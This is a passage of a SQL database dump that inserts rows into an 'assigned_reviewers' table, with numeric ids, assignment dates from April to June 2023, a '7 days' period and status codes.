days',0),(73140,21664,13720,13859,1784,959,'2023-04-27','7 days',0),(73141,21663,13720,13859,1784,959,'2023-04-27','7 days',0),(73142,21662,13720,13859,1784,959,'2023-04-27','7 days',0),(73143,21661,13720,13859,1784,959,'2023-04-27','7 days',0),(73144,21660,13720,13859,1784,959,'2023-04-27','7 days',0),(73145,21659,13720,13859,1784,959,'2023-04-27','7 days',0),(73146,21658,13720,13859,1784,959,'2023-04-27','7 days',0),(73147,21657,13720,13859,1784,959,'2023-04-27','7 days',0),(73148,21629,13720,13859,1784,959,'2023-04-27','7 days',0),(73149,21670,13719,13858,1784,959,'2023-04-27','7 days',2),(73150,21669,13719,13858,1784,959,'2023-04-27','7 days',2),(73151,21668,13719,13858,1784,959,'2023-04-27','7 days',0),(73152,21667,13719,13858,1784,959,'2023-04-27','7 days',0),(73153,21666,13719,13858,1784,959,'2023-04-27','7 days',1),(73154,21665,13719,13858,1784,959,'2023-04-27','7 days',0),(73155,21664,13719,13858,1784,959,'2023-04-27','7 days',0),(73156,21663,13719,13858,1784,959,'2023-04-27','7 days',0),(73157,21662,13719,13858,1784,959,'2023-04-27','7 days',0),(73158,21661,13719,13858,1784,959,'2023-04-27','7 days',0),(73159,21660,13719,13858,1784,959,'2023-04-27','7 days',0),(73160,21659,13719,13858,1784,959,'2023-04-27','7 days',0),(73161,21658,13719,13858,1784,959,'2023-04-27','7 days',0),(73162,21657,13719,13858,1784,959,'2023-04-27','7 days',0),(73163,21629,13719,13858,1784,959,'2023-04-27','7 days',0),(73164,21670,13717,13857,1784,959,'2023-04-27','7 days',0),(73165,21669,13717,13857,1784,959,'2023-04-27','7 days',2),(73166,21668,13717,13857,1784,959,'2023-04-27','7 days',0),(73167,21667,13717,13857,1784,959,'2023-04-27','7 days',0),(73168,21666,13717,13857,1784,959,'2023-04-27','7 days',1),(73169,21665,13717,13857,1784,959,'2023-04-27','7 days',0),(73170,21664,13717,13857,1784,959,'2023-04-27','7 days',0),(73171,21663,13717,13857,1784,959,'2023-04-27','7 days',0),(73172,21662,13717,13857,1784,959,'2023-04-27','7 days',0),(73173,21661,13717,13857,1784,959,'2023-04-27','7 days',0),(73174,21660,13717,13857,1784,959,'2023-04-27','7 days',0),(73175,21659,13717,13857,1784,959,'2023-04-27','7 days',0),(73176,21658,13717,13857,1784,959,'2023-04-27','7 days',0),(73177,21657,13717,13857,1784,959,'2023-04-27','7 days',0),(73178,21629,13717,13857,1784,959,'2023-04-27','7 days',0),(73179,21670,13716,13856,1784,959,'2023-04-27','7 days',0),(73180,21669,13716,13856,1784,959,'2023-04-27','7 days',2),(73181,21668,13716,13856,1784,959,'2023-04-27','7 days',0),(73182,21667,13716,13856,1784,959,'2023-04-27','7 days',0),(73183,21666,13716,13856,1784,959,'2023-04-27','7 days',1),(73184,21665,13716,13856,1784,959,'2023-04-27','7 days',0),(73185,21664,13716,13856,1784,959,'2023-04-27','7 days',0),(73186,21663,13716,13856,1784,959,'2023-04-27','7 days',0),(73187,21662,13716,13856,1784,959,'2023-04-27','7 days',0),(73188,21661,13716,13856,1784,959,'2023-04-27','7 days',0),(73189,21660,13716,13856,1784,959,'2023-04-27','7 days',0),(73190,21659,13716,13856,1784,959,'2023-04-27','7 days',0),(73191,21658,13716,13856,1784,959,'2023-04-27','7 days',0),(73192,21657,13716,13856,1784,959,'2023-04-27','7 days',0),(73193,21629,13716,13856,1784,959,'2023-04-27','7 days',0),(73194,9159,13735,13870,1781,91,'2023-04-29','7 days',1),(73195,9155,13735,13870,1781,91,'2023-04-29','7 days',1),(73196,7213,13735,13870,1781,91,'2023-04-29','7 days',1),(73197,7212,13735,13870,1781,91,'2023-04-29','7 days',1),(73198,9154,13741,13876,1705,91,'2023-05-02','7 days',1),(73199,9135,13741,13876,1705,91,'2023-05-02','7 days',1),(73200,9134,13741,13876,1705,91,'2023-05-02','7 days',1),(73201,9133,13741,13876,1705,91,'2023-05-02','7 days',1),(73202,7287,13741,13876,1705,91,'2023-05-02','7 days',1),(73203,7286,13741,13876,1705,91,'2023-05-02','7 days',1),(73204,21409,13742,13877,195,45,'2023-05-08','7 days',0),(73205,17548,13742,13877,195,45,'2023-05-08','7 days',0),(73206,21408,13742,13877,195,45,'2023-05-08','7 days',0),(73207,21374,13742,13877,195,45,'2023-05-08','7 days',1),(73208,14534,13742,13877,195,45,'2023-05-08','7 days',1),(73209,12532,13742,13877,195,45,'2023-05-08','7 days',1),(73210,12531,13742,13877,195,45,'2023-05-08','7 days',1),(73211,11715,13742,13877,195,45,'2023-05-08','7 days',1),(73212,11714,13742,13877,195,45,'2023-05-08','7 days',1),(73213,10976,13742,13877,195,45,'2023-05-08','7 days',1),(73214,10975,13742,13877,195,45,'2023-05-08','7 days',1),(73215,5467,13742,13877,195,45,'2023-05-08','7 days',1),(73216,1989,13742,13877,195,45,'2023-05-08','7 days',1),(73217,21672,13171,13376,160,73,'2023-05-10','7 days',1),(73218,21374,13764,13888,194,45,'2023-05-17','7 days',1),(73219,12532,13764,13888,194,45,'2023-05-17','7 days',1),(73220,11715,13764,13888,194,45,'2023-05-17','7 days',1),(73221,10975,13764,13888,194,45,'2023-05-17','7 days',1),(73222,21672,13765,13892,162,73,'2023-05-17','7 days',0),(73223,21378,13765,13892,162,73,'2023-05-17','7 days',1),(73224,21568,13765,13892,162,73,'2023-05-17','7 days',0),(73225,11715,13763,13890,194,45,'2023-05-17','7 days',1),(73226,11714,13763,13890,194,45,'2023-05-17','7 days',1),(73227,5467,13763,13890,194,45,'2023-05-17','7 days',1),(73228,9933,12190,12454,1674,251,'2023-05-17','7 days',0),(73229,9028,12190,12454,1674,251,'2023-05-17','7 days',0),(73230,21409,13761,13890,195,45,'2023-05-17','7 days',0),(73231,17548,13761,13890,195,45,'2023-05-17','7 days',0),(73232,21505,13761,13890,195,45,'2023-05-17','7 days',0),(73233,21504,13761,13890,195,45,'2023-05-17','7 days',0),(73234,21503,13761,13890,195,45,'2023-05-17','7 days',0),(73235,21502,13761,13890,195,45,'2023-05-17','7 days',0),(73236,21501,13761,13890,195,45,'2023-05-17','7 days',0),(73237,21500,13761,13890,195,45,'2023-05-17','7 days',0),(73238,21499,13761,13890,195,45,'2023-05-17','7 days',0),(73239,21498,13761,13890,195,45,'2023-05-17','7 days',0),(73240,18594,13761,13890,195,45,'2023-05-17','7 days',0),(73241,18593,13761,13890,195,45,'2023-05-17','7 days',1),(73242,18592,13761,13890,195,45,'2023-05-17','7 days',1),(73243,11845,13761,13890,195,45,'2023-05-17','7 days',0),(73244,11578,13761,13890,195,45,'2023-05-17','7 days',1),(73245,11577,13761,13890,195,45,'2023-05-17','7 days',1),(73246,11520,13761,13890,195,45,'2023-05-17','7 days',0),(73247,11519,13761,13890,195,45,'2023-05-17','7 days',1),(73248,11518,13761,13890,195,45,'2023-05-17','7 days',0),(73249,11350,13761,13890,195,45,'2023-05-17','7 days',1),(73250,11300,13761,13890,195,45,'2023-05-17','7 days',0),(73251,11299,13761,13890,195,45,'2023-05-17','7 days',0),(73252,11298,13761,13890,195,45,'2023-05-17','7 days',0),(73253,9182,13761,13890,195,45,'2023-05-17','7 days',0),(73254,8926,13761,13890,195,45,'2023-05-17','7 days',0),(73255,8925,13761,13890,195,45,'2023-05-17','7 days',0),(73256,8924,13761,13890,195,45,'2023-05-17','7 days',0),(73257,2238,13761,13890,195,45,'2023-05-17','7 days',0),(73258,21408,13761,13890,195,45,'2023-05-17','7 days',0),(73259,21374,13761,13890,195,45,'2023-05-17','7 days',1),(73260,14534,13761,13890,195,45,'2023-05-17','7 days',1),(73261,12532,13761,13890,195,45,'2023-05-17','7 days',1),(73262,12531,13761,13890,195,45,'2023-05-17','7 days',1),(73263,11715,13761,13890,195,45,'2023-05-17','7 days',1),(73264,11714,13761,13890,195,45,'2023-05-17','7 days',1),(73265,10976,13761,13890,195,45,'2023-05-17','7 days',1),(73266,10975,13761,13890,195,45,'2023-05-17','7 days',1),(73267,5467,13761,13890,195,45,'2023-05-17','7 days',1),(73268,1989,13761,13890,195,45,'2023-05-17','7 days',1),(73269,12531,13760,13889,194,45,'2023-05-18','7 days',1),(73270,11715,13760,13889,194,45,'2023-05-18','7 days',1),(73271,11714,13760,13889,194,45,'2023-05-18','7 days',1),(73272,10976,13760,13889,194,45,'2023-05-18','7 days',1),(73273,17214,13774,13881,1367,959,'2023-05-22','7 days',0),(73274,10251,13774,13881,1367,959,'2023-05-22','7 days',0),(73275,10212,13774,13881,1367,959,'2023-05-22','7 days',0),(73276,10211,13774,13881,1367,959,'2023-05-22','7 days',0),(73277,21671,13774,13881,1367,959,'2023-05-22','7 days',1),(73278,21670,13774,13881,1367,959,'2023-05-22','7 days',0),(73279,21669,13774,13881,1367,959,'2023-05-22','7 days',2),(73280,21668,13774,13881,1367,959,'2023-05-22','7 days',0),(73281,21667,13774,13881,1367,959,'2023-05-22','7 days',0),(73282,21666,13774,13881,1367,959,'2023-05-22','7 days',1),(73283,21665,13774,13881,1367,959,'2023-05-22','7 days',0),(73284,21664,13774,13881,1367,959,'2023-05-22','7 days',0),(73285,21663,13774,13881,1367,959,'2023-05-22','7 days',0),(73286,21662,13774,13881,1367,959,'2023-05-22','7 days',0),(73287,21661,13774,13881,1367,959,'2023-05-22','7 days',0),(73288,21660,13774,13881,1367,959,'2023-05-22','7 days',0),(73289,21659,13774,13881,1367,959,'2023-05-22','7 days',0),(73290,21658,13774,13881,1367,959,'2023-05-22','7 days',0),(73291,21657,13774,13881,1367,959,'2023-05-22','7 days',0),(73292,21629,13774,13881,1367,959,'2023-05-22','7 days',1),(73293,17212,13774,13881,1367,959,'2023-05-22','7 days',0),(73294,17204,13774,13881,1367,959,'2023-05-22','7 days',0),(73295,15747,13774,13881,1367,959,'2023-05-22','7 days',0),(73296,21506,13774,13881,1367,959,'2023-05-22','7 days',0),(73297,21486,13774,13881,1367,959,'2023-05-22','7 days',0),(73298,17213,13774,13881,1367,959,'2023-05-22','7 days',0),(73299,17211,13774,13881,1367,959,'2023-05-22','7 days',0),(73300,14071,13774,13881,1367,959,'2023-05-22','7 days',0),(73301,17206,13774,13881,1367,959,'2023-05-22','7 days',0),(73302,17210,13774,13881,1367,959,'2023-05-22','7 days',0),(73303,17207,13774,13881,1367,959,'2023-05-22','7 days',0),(73304,17205,13774,13881,1367,959,'2023-05-22','7 days',0),(73305,21546,13774,13881,1367,959,'2023-05-22','7 days',0),(73306,21545,13774,13881,1367,959,'2023-05-22','7 days',0),(73307,17215,13774,13881,1367,959,'2023-05-22','7 days',0),(73308,17209,13774,13881,1367,959,'2023-05-22','7 days',0),(73309,17208,13774,13881,1367,959,'2023-05-22','7 days',0),(73310,10393,13774,13881,1367,959,'2023-05-22','7 days',0),(73311,17216,13774,13881,1367,959,'2023-05-22','7 days',0),(73312,13915,13774,13881,1367,959,'2023-05-22','7 days',0),(73313,13914,13774,13881,1367,959,'2023-05-22','7 days',0),(73314,11845,13767,13894,194,45,'2023-05-22','7 days',0),(73315,11578,13767,13894,194,45,'2023-05-22','7 days',1),(73316,11577,13767,13894,194,45,'2023-05-22','7 days',1),(73317,11520,13767,13894,194,45,'2023-05-22','7 days',0),(73318,9154,13773,13899,1781,91,'2023-05-23','7 days',1),(73319,9135,13773,13899,1781,91,'2023-05-23','7 days',0),(73320,9134,13773,13899,1781,91,'2023-05-23','7 days',1),(73321,9133,13773,13899,1781,91,'2023-05-23','7 days',1),(73322,7287,13773,13899,1781,91,'2023-05-23','7 days',1),(73323,7286,13773,13899,1781,91,'2023-05-23','7 days',1),(73324,669,13765,13892,162,73,'2023-05-23','7 days',0),(73325,9012,13765,13892,162,73,'2023-05-23','7 days',0),(73326,8782,13765,13892,162,73,'2023-05-23','7 days',0),(73327,17682,13768,13895,1789,277,'2023-05-26','7 days',0),(73328,17681,13768,13895,1789,277,'2023-05-26','7 days',2),(73329,15861,13768,13895,1789,277,'2023-05-26','7 days',0),(73330,15860,13768,13895,1789,277,'2023-05-26','7 days',0),(73331,15859,13768,13895,1789,277,'2023-05-26','7 days',0),(73332,15858,13768,13895,1789,277,'2023-05-26','7 days',0),(73333,15857,13768,13895,1789,277,'2023-05-26','7 days',0),(73334,15856,13768,13895,1789,277,'2023-05-26','7 days',0),(73335,15855,13768,13895,1789,277,'2023-05-26','7 days',0),(73336,15854,13768,13895,1789,277,'2023-05-26','7 days',0),(73337,15746,13768,13895,1789,277,'2023-05-26','7 days',1),(73338,13354,13768,13895,1789,277,'2023-05-26','7 days',0),(73339,12971,13768,13895,1789,277,'2023-05-26','7 days',0),(73340,12027,13768,13895,1789,277,'2023-05-26','7 days',0),(73341,12026,13768,13895,1789,277,'2023-05-26','7 days',0),(73342,12025,13768,13895,1789,277,'2023-05-26','7 days',0),(73343,12024,13768,13895,1789,277,'2023-05-26','7 days',0),(73344,12023,13768,13895,1789,277,'2023-05-26','7 days',0),(73345,12022,13768,13895,1789,277,'2023-05-26','7 days',0),(73346,12021,13768,13895,1789,277,'2023-05-26','7 days',0),(73347,12020,13768,13895,1789,277,'2023-05-26','7 days',0),(73348,12019,13768,13895,1789,277,'2023-05-26','7 days',2),(73349,12018,13768,13895,1789,277,'2023-05-26','7 days',0),(73350,12017,13768,13895,1789,277,'2023-05-26','7 days',0),(73351,11844,13768,13895,1789,277,'2023-05-26','7 days',0),(73352,11659,13768,13895,1789,277,'2023-05-26','7 days',0),(73353,11450,13768,13895,1789,277,'2023-05-26','7 days',2),(73354,11449,13768,13895,1789,277,'2023-05-26','7 days',0),(73355,11448,13768,13895,1789,277,'2023-05-26','7 days',0),(73356,11447,13768,13895,1789,277,'2023-05-26','7 days',0),(73357,11439,13768,13895,1789,277,'2023-05-26','7 days',0),(73358,9911,13768,13895,1789,277,'2023-05-26','7 days',0),(73359,9910,13768,13895,1789,277,'2023-05-26','7 days',0),(73360,9909,13768,13895,1789,277,'2023-05-26','7 days',0),(73361,9908,13768,13895,1789,277,'2023-05-26','7 days',0),(73362,9907,13768,13895,1789,277,'2023-05-26','7 days',0),(73363,9906,13768,13895,1789,277,'2023-05-26','7 days',0),(73364,9905,13768,13895,1789,277,'2023-05-26','7 days',2),(73365,9904,13768,13895,1789,277,'2023-05-26','7 days',0),(73366,9903,13768,13895,1789,277,'2023-05-26','7 days',0),(73367,9902,13768,13895,1789,277,'2023-05-26','7 days',0),(73368,9901,13768,13895,1789,277,'2023-05-26','7 days',0),(73369,9900,13768,13895,1789,277,'2023-05-26','7 days',0),(73370,9899,13768,13895,1789,277,'2023-05-26','7 days',0),(73371,9898,13768,13895,1789,277,'2023-05-26','7 days',0),(73372,9897,13768,13895,1789,277,'2023-05-26','7 days',1),(73373,8590,13768,13895,1789,277,'2023-05-26','7 days',1),(73374,17682,13771,13895,1789,277,'2023-05-26','7 days',0),(73375,17681,13771,13895,1789,277,'2023-05-26','7 days',2),(73376,15861,13771,13895,1789,277,'2023-05-26','7 days',0),(73377,15860,13771,13895,1789,277,'2023-05-26','7 days',0),(73378,15859,13771,13895,1789,277,'2023-05-26','7 days',0),(73379,15858,13771,13895,1789,277,'2023-05-26','7 days',0),(73380,15857,13771,13895,1789,277,'2023-05-26','7 days',0),(73381,15856,13771,13895,1789,277,'2023-05-26','7 days',0),(73382,15855,13771,13895,1789,277,'2023-05-26','7 days',0),(73383,15854,13771,13895,1789,277,'2023-05-26','7 days',0),(73384,15746,13771,13895,1789,277,'2023-05-26','7 days',1),(73385,13354,13771,13895,1789,277,'2023-05-26','7 days',0),(73386,12971,13771,13895,1789,277,'2023-05-26','7 days',0),(73387,12027,13771,13895,1789,277,'2023-05-26','7 days',0),(73388,12026,13771,13895,1789,277,'2023-05-26','7 days',0),(73389,12025,13771,13895,1789,277,'2023-05-26','7 days',0),(73390,12024,13771,13895,1789,277,'2023-05-26','7 days',0),(73391,12023,13771,13895,1789,277,'2023-05-26','7 days',2),(73392,12022,13771,13895,1789,277,'2023-05-26','7 days',0),(73393,12021,13771,13895,1789,277,'2023-05-26','7 days',0),(73394,12020,13771,13895,1789,277,'2023-05-26','7 days',0),(73395,12019,13771,13895,1789,277,'2023-05-26','7 days',2),(73396,12018,13771,13895,1789,277,'2023-05-26','7 days',0),(73397,12017,13771,13895,1789,277,'2023-05-26','7 days',0);
INSERT INTO `assigned_reviewers` VALUES (73398,11844,13771,13895,1789,277,'2023-05-26','7 days',1),(73399,11659,13771,13895,1789,277,'2023-05-26','7 days',0),(73400,11450,13771,13895,1789,277,'2023-05-26','7 days',2),(73401,11449,13771,13895,1789,277,'2023-05-26','7 days',0),(73402,11448,13771,13895,1789,277,'2023-05-26','7 days',0),(73403,11447,13771,13895,1789,277,'2023-05-26','7 days',0),(73404,11439,13771,13895,1789,277,'2023-05-26','7 days',0),(73405,9911,13771,13895,1789,277,'2023-05-26','7 days',0),(73406,9910,13771,13895,1789,277,'2023-05-26','7 days',0),(73407,9909,13771,13895,1789,277,'2023-05-26','7 days',0),(73408,9908,13771,13895,1789,277,'2023-05-26','7 days',0),(73409,9907,13771,13895,1789,277,'2023-05-26','7 days',2),(73410,9906,13771,13895,1789,277,'2023-05-26','7 days',0),(73411,9905,13771,13895,1789,277,'2023-05-26','7 days',2),(73412,9904,13771,13895,1789,277,'2023-05-26','7 days',0),(73413,9903,13771,13895,1789,277,'2023-05-26','7 days',0),(73414,9902,13771,13895,1789,277,'2023-05-26','7 days',0),(73415,9901,13771,13895,1789,277,'2023-05-26','7 days',0),(73416,9900,13771,13895,1789,277,'2023-05-26','7 days',0),(73417,9899,13771,13895,1789,277,'2023-05-26','7 days',0),(73418,9898,13771,13895,1789,277,'2023-05-26','7 days',0),(73419,9897,13771,13895,1789,277,'2023-05-26','7 days',1),(73420,8590,13771,13895,1789,277,'2023-05-26','7 days',1),(73421,21374,13770,13897,194,45,'2023-05-29','7 days',1),(73422,14534,13770,13897,194,45,'2023-05-29','7 days',1),(73423,11715,13770,13897,194,45,'2023-05-29','7 days',1),(73424,10976,13770,13897,194,45,'2023-05-29','7 days',1),(73425,10975,13770,13897,194,45,'2023-05-29','7 days',1),(73426,21408,13783,13906,194,45,'2023-05-29','7 days',0),(73427,21374,13783,13906,194,45,'2023-05-29','7 days',1),(73428,12532,13785,13908,194,45,'2023-05-29','7 days',1),(73429,12531,13785,13908,194,45,'2023-05-29','7 days',1),(73430,18259,13777,13898,358,251,'2023-06-01','7 days',0),(73431,9111,13777,13898,358,251,'2023-06-01','7 days',1),(73432,9109,13777,13898,358,251,'2023-06-01','7 days',0),(73433,9107,13777,13898,358,251,'2023-06-01','7 days',0),(73434,21399,13790,13911,1749,996,'2023-06-02','7 days',0),(73435,20378,13790,13911,1749,996,'2023-06-02','7 days',0),(73436,20205,13790,13911,1749,996,'2023-06-02','7 days',0),(73437,20201,13790,13911,1749,996,'2023-06-02','7 days',0),(73438,20199,13790,13911,1749,996,'2023-06-02','7 days',0),(73439,20195,13790,13911,1749,996,'2023-06-02','7 days',0),(73440,21462,13790,13911,1749,996,'2023-06-05','7 days',0),(73441,21461,13790,13911,1749,996,'2023-06-05','7 days',0),(73442,21460,13790,13911,1749,996,'2023-06-05','7 days',0),(73443,21459,13790,13911,1749,996,'2023-06-05','7 days',0),(73444,21458,13790,13911,1749,996,'2023-06-05','7 days',0),(73445,21457,13790,13911,1749,996,'2023-06-05','7 days',0),(73446,21456,13790,13911,1749,996,'2023-06-05','7 days',0),(73447,21455,13790,13911,1749,996,'2023-06-05','7 days',0),(73448,21454,13790,13911,1749,996,'2023-06-05','7 days',0),(73449,21453,13790,13911,1749,996,'2023-06-05','7 days',0),(73450,21452,13790,13911,1749,996,'2023-06-05','7 days',0),(73451,21451,13790,13911,1749,996,'2023-06-05','7 days',0),(73452,21450,13790,13911,1749,996,'2023-06-05','7 days',0),(73453,21449,13790,13911,1749,996,'2023-06-05','7 days',0),(73454,21448,13790,13911,1749,996,'2023-06-05','7 days',0),(73455,21447,13790,13911,1749,996,'2023-06-05','7 days',0),(73456,21446,13790,13911,1749,996,'2023-06-05','7 days',0),(73457,21445,13790,13911,1749,996,'2023-06-05','7 days',0),(73458,21444,13790,13911,1749,996,'2023-06-05','7 days',0),(73459,21443,13790,13911,1749,996,'2023-06-05','7 days',0),(73460,21442,13790,13911,1749,996,'2023-06-05','7 days',0),(73461,21441,13790,13911,1749,996,'2023-06-05','7 days',2),(73462,21440,13790,13911,1749,996,'2023-06-05','7 days',0),(73463,21439,13790,13911,1749,996,'2023-06-05','7 days',0),(73464,21438,13790,13911,1749,996,'2023-06-05','7 days',0),(73465,21437,13790,13911,1749,996,'2023-06-05','7 days',0),(73466,21436,13790,13911,1749,996,'2023-06-05','7 days',0),(73467,21435,13790,13911,1749,996,'2023-06-05','7 days',0),(73468,21434,13790,13911,1749,996,'2023-06-05','7 days',0),(73469,21433,13790,13911,1749,996,'2023-06-05','7 days',0),(73470,21432,13790,13911,1749,996,'2023-06-05','7 days',2),(73471,21431,13790,13911,1749,996,'2023-06-05','7 days',0),(73472,21430,13790,13911,1749,996,'2023-06-05','7 days',0),(73473,21429,13790,13911,1749,996,'2023-06-05','7 days',0),(73474,21428,13790,13911,1749,996,'2023-06-05','7 days',0),(73475,21427,13790,13911,1749,996,'2023-06-05','7 days',0),(73476,21426,13790,13911,1749,996,'2023-06-05','7 days',0),(73477,21424,13790,13911,1749,996,'2023-06-05','7 days',2),(73478,21422,13790,13911,1749,996,'2023-06-05','7 days',0),(73479,21421,13790,13911,1749,996,'2023-06-05','7 days',0),(73480,21420,13790,13911,1749,996,'2023-06-05','7 days',0),(73481,21547,13796,13916,1011,91,'2023-06-06','7 days',1),(73482,9159,13798,13917,1452,91,'2023-06-12','7 days',1),(73483,9155,13798,13917,1452,91,'2023-06-12','7 days',1),(73484,7213,13798,13917,1452,91,'2023-06-12','7 days',0),(73485,7212,13798,13917,1452,91,'2023-06-12','7 days',1),(73486,16779,13777,13898,358,251,'2023-06-13','7 days',0),(73487,16773,13777,13898,358,251,'2023-06-13','7 days',0),(73488,16771,13777,13898,358,251,'2023-06-13','7 days',0),(73489,16700,13777,13898,358,251,'2023-06-13','7 days',0),(73490,6240,13809,13928,222,85,'2023-06-13','7 days',0),(73491,6239,13809,13928,222,85,'2023-06-13','7 days',0),(73492,6238,13809,13928,222,85,'2023-06-13','7 days',0),(73493,6237,13809,13928,222,85,'2023-06-13','7 days',0),(73494,6236,13809,13928,222,85,'2023-06-13','7 days',0),(73495,6219,13809,13928,222,85,'2023-06-13','7 days',0),(73496,5799,13809,13928,222,85,'2023-06-13','7 days',0),(73497,5798,13809,13928,222,85,'2023-06-13','7 days',0),(73498,5797,13809,13928,222,85,'2023-06-13','7 days',0),(73499,5796,13809,13928,222,85,'2023-06-13','7 days',0),(73500,5795,13809,13928,222,85,'2023-06-13','7 days',0),(73501,5794,13809,13928,222,85,'2023-06-13','7 days',0),(73502,5792,13809,13928,222,85,'2023-06-13','7 days',0),(73503,5791,13809,13928,222,85,'2023-06-13','7 days',0),(73504,21631,13814,13931,1750,996,'2023-06-14','7 days',1),(73505,21462,13814,13931,1750,996,'2023-06-14','7 days',0),(73506,21461,13814,13931,1750,996,'2023-06-14','7 days',0),(73507,21460,13814,13931,1750,996,'2023-06-14','7 days',0),(73508,21459,13814,13931,1750,996,'2023-06-14','7 days',0),(73509,21458,13814,13931,1750,996,'2023-06-14','7 days',0),(73510,21631,13813,13932,1750,996,'2023-06-14','7 days',1),(73511,21462,13813,13932,1750,996,'2023-06-14','7 days',0),(73512,21461,13813,13932,1750,996,'2023-06-14','7 days',0),(73513,21460,13813,13932,1750,996,'2023-06-14','7 days',0),(73514,21459,13813,13932,1750,996,'2023-06-14','7 days',0),(73515,21458,13813,13932,1750,996,'2023-06-14','7 days',0),(73516,21457,13813,13932,1750,996,'2023-06-14','7 days',0),(73517,21456,13813,13932,1750,996,'2023-06-14','7 days',0),(73518,21455,13813,13932,1750,996,'2023-06-14','7 days',0),(73519,21454,13813,13932,1750,996,'2023-06-14','7 days',0),(73520,21453,13813,13932,1750,996,'2023-06-14','7 days',0),(73521,21459,13812,13933,1750,996,'2023-06-14','7 days',0),(73522,21458,13812,13933,1750,996,'2023-06-14','7 days',0),(73523,21457,13812,13933,1750,996,'2023-06-14','7 days',0),(73524,21456,13812,13933,1750,996,'2023-06-14','7 days',0),(73525,21455,13812,13933,1750,996,'2023-06-14','7 days',0),(73526,14534,13792,9188,194,45,'2023-06-15','7 days',1),(73527,12532,13792,9188,194,45,'2023-06-15','7 days',1),(73528,12531,13792,9188,194,45,'2023-06-15','7 days',1),(73529,11715,13792,9188,194,45,'2023-06-15','7 days',1),(73530,11715,13810,13929,194,45,'2023-06-15','7 days',1),(73531,11714,13810,13929,194,45,'2023-06-15','7 days',1),(73532,10976,13810,13929,194,45,'2023-06-15','7 days',1),(73533,9110,13777,13898,358,251,'2023-06-16','7 days',0),(73534,9108,13777,13898,358,251,'2023-06-16','7 days',0),(73535,11578,13827,13937,192,45,'2023-06-20','7 days',1),(73536,11577,13827,13937,192,45,'2023-06-20','7 days',1),(73537,11520,13827,13937,192,45,'2023-06-20','7 days',0),(73538,11519,13827,13937,192,45,'2023-06-20','7 days',1),(73539,11518,13827,13937,192,45,'2023-06-20','7 days',0),(73540,21476,13842,13946,1779,975,'2023-06-20','7 days',0),(73541,21475,13842,13946,1779,975,'2023-06-20','7 days',0),(73542,20788,13842,13946,1779,975,'2023-06-20','7 days',0),(73543,18830,13842,13946,1779,975,'2023-06-20','7 days',0),(73544,17409,13842,13946,1779,975,'2023-06-20','7 days',0),(73545,17408,13842,13946,1779,975,'2023-06-20','7 days',0),(73546,17407,13842,13946,1779,975,'2023-06-20','7 days',0),(73547,17406,13842,13946,1779,975,'2023-06-20','7 days',1),(73548,17405,13842,13946,1779,975,'2023-06-20','7 days',0),(73549,17404,13842,13946,1779,975,'2023-06-20','7 days',0),(73550,17403,13842,13946,1779,975,'2023-06-20','7 days',0),(73551,17391,13842,13946,1779,975,'2023-06-20','7 days',0),(73552,17390,13842,13946,1779,975,'2023-06-20','7 days',0),(73553,17389,13842,13946,1779,975,'2023-06-20','7 days',0),(73554,17388,13842,13946,1779,975,'2023-06-20','7 days',0),(73555,17387,13842,13946,1779,975,'2023-06-20','7 days',0),(73556,17386,13842,13946,1779,975,'2023-06-20','7 days',0),(73557,17385,13842,13946,1779,975,'2023-06-20','7 days',0),(73558,17384,13842,13946,1779,975,'2023-06-20','7 days',0),(73559,17383,13842,13946,1779,975,'2023-06-20','7 days',0),(73560,17382,13842,13946,1779,975,'2023-06-20','7 days',0),(73561,15663,13842,13946,1779,975,'2023-06-20','7 days',1),(73562,21462,13846,13949,1749,996,'2023-06-22','7 days',0),(73563,21461,13846,13949,1749,996,'2023-06-22','7 days',0),(73564,21460,13846,13949,1749,996,'2023-06-22','7 days',0),(73565,21459,13846,13949,1749,996,'2023-06-22','7 days',0),(73566,21458,13846,13949,1749,996,'2023-06-22','7 days',0),(73567,21457,13846,13949,1749,996,'2023-06-22','7 days',0),(73568,21456,13846,13949,1749,996,'2023-06-22','7 days',0),(73569,21455,13846,13949,1749,996,'2023-06-22','7 days',0),(73570,21454,13846,13949,1749,996,'2023-06-22','7 days',0),(73571,21453,13846,13949,1749,996,'2023-06-22','7 days',0),(73572,21452,13846,13949,1749,996,'2023-06-22','7 days',0),(73573,21451,13846,13949,1749,996,'2023-06-22','7 days',0),(73574,21450,13846,13949,1749,996,'2023-06-22','7 days',2),(73575,21449,13846,13949,1749,996,'2023-06-22','7 days',0),(73576,21448,13846,13949,1749,996,'2023-06-22','7 days',0),(73577,21447,13846,13949,1749,996,'2023-06-22','7 days',0),(73578,21446,13846,13949,1749,996,'2023-06-22','7 days',1),(73579,21445,13846,13949,1749,996,'2023-06-22','7 days',0),(73580,21444,13846,13949,1749,996,'2023-06-22','7 days',0),(73581,21443,13846,13949,1749,996,'2023-06-22','7 days',0),(73582,21442,13846,13949,1749,996,'2023-06-22','7 days',0),(73583,21441,13846,13949,1749,996,'2023-06-22','7 days',2),(73584,21440,13846,13949,1749,996,'2023-06-22','7 days',0),(73585,21439,13846,13949,1749,996,'2023-06-22','7 days',0),(73586,21438,13846,13949,1749,996,'2023-06-22','7 days',0),(73587,21437,13846,13949,1749,996,'2023-06-22','7 days',0),(73588,21436,13846,13949,1749,996,'2023-06-22','7 days',0),(73589,21435,13846,13949,1749,996,'2023-06-22','7 days',0),(73590,21434,13846,13949,1749,996,'2023-06-22','7 days',0),(73591,21433,13846,13949,1749,996,'2023-06-22','7 days',0),(73592,21432,13846,13949,1749,996,'2023-06-22','7 days',2),(73593,21431,13846,13949,1749,996,'2023-06-22','7 days',0),(73594,14684,13853,13955,194,45,'2023-06-24','7 days',0),(73595,11162,13853,13955,194,45,'2023-06-24','7 days',1),(73596,21631,13856,13958,1749,996,'2023-06-26','7 days',1),(73597,21462,13856,13958,1749,996,'2023-06-26','7 days',0),(73598,21461,13856,13958,1749,996,'2023-06-26','7 days',0),(73599,21460,13856,13958,1749,996,'2023-06-26','7 days',0),(73600,21631,13855,13957,1750,996,'2023-06-26','7 days',1),(73601,21462,13855,13957,1750,996,'2023-06-26','7 days',0),(73602,21461,13855,13957,1750,996,'2023-06-26','7 days',0),(73603,21460,13855,13957,1750,996,'2023-06-26','7 days',0),(73604,21459,13855,13957,1750,996,'2023-06-26','7 days',0),(73605,21631,13854,13956,1749,996,'2023-06-26','7 days',1),(73606,21462,13854,13956,1749,996,'2023-06-26','7 days',0),(73607,21461,13854,13956,1749,996,'2023-06-26','7 days',0),(73608,21460,13854,13956,1749,996,'2023-06-26','7 days',0),(73609,21459,13854,13956,1749,996,'2023-06-26','7 days',0),(73610,21674,13513,12577,222,85,'2023-06-26','7 